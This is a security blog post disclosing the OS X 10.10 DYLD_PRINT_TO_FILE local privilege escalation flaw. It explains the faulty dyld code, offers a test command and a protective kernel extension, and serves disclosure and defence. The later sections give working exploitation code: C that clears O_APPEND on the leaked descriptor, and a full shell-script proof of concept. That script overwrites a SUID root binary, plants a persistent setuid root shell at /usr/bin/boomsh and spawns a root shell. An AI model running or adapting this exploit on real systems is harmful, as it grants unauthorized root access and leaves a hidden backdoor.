OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability

The DYLD_PRINT_TO_FILE environment variable can be used for local privilege escalation in OS X Yosemite.

Introduction

With the release of OS X 10.10 Apple added some new features to the dynamic linker dyld. One of these features is the new environment variable DYLD_PRINT_TO_FILE that enables error logging to an arbitrary file.

DYLD_PRINT_TO_FILE
This is a path to a (writable) file. Normally, the dynamic linker writes all logging output (triggered by DYLD_PRINT_* settings) to file descriptor 2 (which is usually stderr). But this setting causes the dynamic linker to write logging output to the specified file.

When this variable was added the usual safeguards that are required when adding support for new environment variables to the dynamic linker have not been used. Therefore it is possible to use this new feature even with SUID root binaries. This is dangerous, because it allows to open or create arbitrary files owned by the root user anywhere in the file system. Furthermore the opened log file is never closed and therefore its file descriptor is leaked into processes spawned by SUID binaries. This means child processes of SUID root processes can write to arbitrary files owned by the root user anywhere in the filesystem. This allows for easy privilege escalation in OS X 10.10.x.

At the moment it is unclear if Apple knows about this security problem or not, because while it is already fixed in the first betas of OS X 10.11, it is left unpatched in the current release of OS X 10.10.4 or in the current beta of OS X 10.10.5.

Nevertheless we have released the source code of a kernel extension and a digitally signed version of it that protects users of OS X 10.10.x from this vulnerability. You can download it from GitHub https://github.com/sektioneins/SUIDGuard.

/images/iosobfuscation.jpg

The Vulnerability

When Apple changed the dynamic linker code for OS X 10.10 to support the new DYLD_PRINT_TO_FILE environment variable they added the following code directly to the _main function of dyld. As you can see from this code the value of the environment variable is directly used as filename for the opened or created logging file.

const char* loggingPath = _simple_getenv(envp, "DYLD_PRINT_TO_FILE");
if ( loggingPath != NULL ) {
        int fd = open(loggingPath, O_WRONLY | O_CREAT | O_APPEND, 0644);
        if ( fd != -1 ) {
                sLogfile = fd;
                sLogToFile = true;
        }
        else {
                dyld::log("dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d\n", loggingPath, errno);
        }
}

The problem with this code is that it does not come with any safeguards that are required when adding new environment variables to the dynamic linker. Normally for security reasons the dynamic linker should reject all environvent variables passed to it in case of restricted files. This is automatically handled when new environment variables are added to the processDyldEnvironmentVariable() function. However in the DYLD_PRINT_TO_FILE case the code was directly added to the _main function of dyld.

Because of this oversight dyld will accept DYLD_PRINT_TO_FILE even for restricted binaries, like SUID root binaries. This is obviously a problem, because it allows the creation or opening (for writing) of any file in the filesystem. And because the log file is never closed by dyld and the file is not openes with the close on exec flag the opened file descriptor is inherited by child processes of SUID binaries. This can be easily exploited for privilege escalation.

Apple has fixed this vulnerability in the OS X 10.11 beta by moving the code for the DYLD_PRINT_TO_FILE (and another new environment variable) to the processDyldEnvironmentVariable() function, which automatically protects them. This might however be the result of a code cleanup and not based on realizing the security implications. However if this is the result of a security fix then Apple has once again shown how unsupported their current versions become the moment a new beta is in development.

Testing

Testing if your system is vulnerable to this attack or not is quite easy and can be done directly from the commandline. Just enter the following into a shell:

$ EDITOR=/usr/bin/true DYLD_PRINT_TO_FILE=/this_system_is_vulnerable crontab -e

Afterward the root directory of your filesystem should show the created file with root permissions.

$ ls -la /
total 317
...
drwxr-xr-x@  2 root  wheel      68 Sep  9  2014 Network
drwxr-xr-x+  4 root  wheel     136 Jul 15 16:03 System
drwxr-xr-x   6 root  admin     204 Jul 17 17:39 Users
drwxrwxrwt@  4 root  admin     136 Jul 21 07:28 Volumes
drwxr-xr-x@ 39 root  wheel    1326 Jul 20 19:26 bin
drwxrwxr-t@  2 root  admin      68 Sep  9  2014 cores
dr-xr-xr-x   3 root  wheel    4156 Jul 20 20:26 dev
lrwxr-xr-x@  1 root  wheel      11 Jul 15 15:55 etc -> private/etc
dr-xr-xr-x   2 root  wheel       1 Jul 21 07:34 home
-rw-r--r--@  1 root  wheel     313 Apr 28 21:11 installer.failurerequests
dr-xr-xr-x   2 root  wheel       1 Jul 21 07:34 net
drwxr-xr-x@  6 root  wheel     204 Jul 15 16:08 private
drwxr-xr-x@ 61 root  wheel    2074 Jul 20 19:26 sbin
-rw-r--r--   1 root  wheel       0 Jul 21 17:22 this_system_is_vulnerable <----
lrwxr-xr-x@  1 root  wheel      11 Jul 15 15:56 tmp -> private/tmp

If you can see this file then you are vulnerable to this problem.

Protection

Before going into the exploitation of this problem please be reminded that because it will likely take months for Apple to react to this issue we released a kernel extension that protects from this vulnerability by stopping all DYLD_ environment variables form being recognized by the dynamic linker for SUID root binaries. In addition to that it adds a mitigation against a common trick to circumvent O_APPEND restrictions on file descriptors.

You can get the easily installable and digitally signed kernel extension at: https://www.suidguard.com/

Exploitation 1

After having established that you are vulnerable to the bug in question you might wonder how this can lead to a full privilege escalation exploit. While there might be a way to escalate privileges by just creating an empty file in some place our bug in question allows for more control, because it leaks the opened file descriptor to child processes of the SUID binaries that we execute. We can demonstrate this again with a few simple shell command lines.

$  DYLD_PRINT_TO_FILE=/this_system_is_vulnerable su <some_username>
Password:
bash-3.2$ ls -la /this_system_is_vulnerable
-rw-r--r--  1 root  wheel  0 Jul 21 17:22 /this_system_is_vulnerable
bash-3.2$ echo "Test 1" >&3
bash-3.2$ echo "Test 2" >&3
bash-3.2$ cat /this_system_is_vulnerable
Test 1
Test 2
bash-3.2$ ls -la /this_system_is_vulnerable
-rw-r--r--  1 root  wheel  14 Jul 21 17:36 /this_system_is_vulnerable

As you can see the file descriptor 3 that is bound to the opened log file is leaked to the spawned shell and can be directly written to. As you can see an unprivileged user has just appended data to a root owned file. This could be any file on the filesystem which makes privilege escalation quite easy.

NOTE: in this example we used su which required entering our own password, but we could use the same crontab trick as before and just put a malicious shell script doing the same into the EDITOR environment variable.

Exploitation 2

So far we have demonstrated that we can append arbitrary data to the end of any file on the filesystem. This is already bad enough, but so far we have been limited by the O_APPEND flag that stopped us from just overwriting a file with whatever we want. This is however a smaller problem than most people believe, because the O_APPEND flag on file descriptors can be disabled by anyone who has control over the file descriptor with a simple call of the fcntl(F_SETFL) system call. The following example C code shows how this allows writing anything into any file.

int main(int argc, char **argv)
{
        int fd;
        char buffer[1024];

        /* disable O_APPEND */
        fcntl(3, F_SETFL, 0);
        lseek(3, 0, SEEK_SET);

        strcpy(buffer, "anything - anything - anything");

        write(3, &buffer, strlen(buffer));

When you use the code above e.g. as EDITOR for crontab then this allows you to overwrite any file with anything.

Exploitation 3

When you can write anything to any file on the filesystem the first idea will obviously be to overwrite another SUID root binary with your own code to create yourself a root shell. The only problem you might be aware of is some information you will find in the manpage of the write system call in OS X.

write(2) manpage
If the real user is not the super-user, then write() clears the set-user-id bit on a file. This prevents penetration of system security by a user who ''captures'' a writable set-user-id file owned by the super-user.

This excerpt from the manpage if write(2) makes it sound like you cannot use this attack to overwrite SUID root binaries. But you should never believe manpages, because when you try it you will realize that you can overwrite arbitrary SUID root binaries on your filesystem with this attack. The mitigation Apple has in the kernel does not trigger in our case, because the logging file is opened by the SUID root binary and therefore the assigned file credentials are those of the SUID root binary. Therefore the write to the filesystem will believe the write is executed by the super-user and therefore the SUID bit is not cleared.

As a proof that this is indeed possible please find the full POC exploit attached at the end of a post just after a little advertisement for our upcoming FALL OS X and iOS training courses.

Training Advertisement

Before I share a working POC exploit for this problem with you, let me finish this post by highlighting that SektionEins is organizing several OS X and iOS related trainings later this year. If you enjoyed this blog post then especially the OS X and iOS Kernel Internals for Security Researchers Training* in October should be of interest for you.

Here is a list of the currently planned training courses:

The full Proof of Concept Exploit

The following code is a working proof of concept exploit for this issue that uses the previously discussed methods to gives the executing user a local root shell and for convenience installs another root shell in /usr/bin/boomsh for easier root access in the future.

Please understand that executing this code is dangerous for your system, because it installs a root shell. Execute at your own risk only.

#!/bin/sh
#
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser <stefan.esser@sektioneins.de>
#
# Wait months for a fix from Apple or install the following KEXT as protection
# https://github.com/sektioneins/SUIDGuard
#
# Use at your own risk. This copies files around with root permissions,
# overwrites them and deletes them afterwards. Any glitch could corrupt your
# system. So you have been warned.

SUIDVICTIM=/usr/bin/newgrp

# why even try to prevent a race condition?
TARGET=`pwd`/tmpXXXXX

rm -rf $TARGET
mkdir $TARGET

cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash -i");
        printf("done.\n");
        return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
        int fd;
        char buffer[1024];
        ssize_t toread, numread;
        ssize_t numwritten;
        ssize_t size;

        /* disable O_APPEND */
        fcntl(3, F_SETFL, 0);
        lseek(3, 0, SEEK_SET);

        /* write file into it */
        fd = open(
EOF
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
        , O_RDONLY, 0);
        if (fd > 0) {

                /* determine size */
                size = lseek(fd, 0, SEEK_END);
                lseek(fd, 0, SEEK_SET);

                while (size > 0) {
                        if (size > sizeof(buffer)) {
                                toread = sizeof(buffer);
                        } else {
                                toread = size;
                        }

                        numread = read(fd, &buffer, toread);
                        if (numread < toread) {
                                fprintf(stderr, "problem reading\n");
                                _exit(2);
                        }
                        numwritten = write(3, &buffer, numread);
                        if (numread != numwritten) {
                                fprintf(stderr, "problem writing\n");
                                _exit(2);
                        }

                        size -= numwritten;

                }

                fsync(3);
                close(fd);
        } else {
                fprintf(stderr, "Cannot open for reading\n");
        }

        return 0;
}
EOF

cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c

EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null

rm -rf $TARGET

/usr/bin/boomsh

Stefan Esser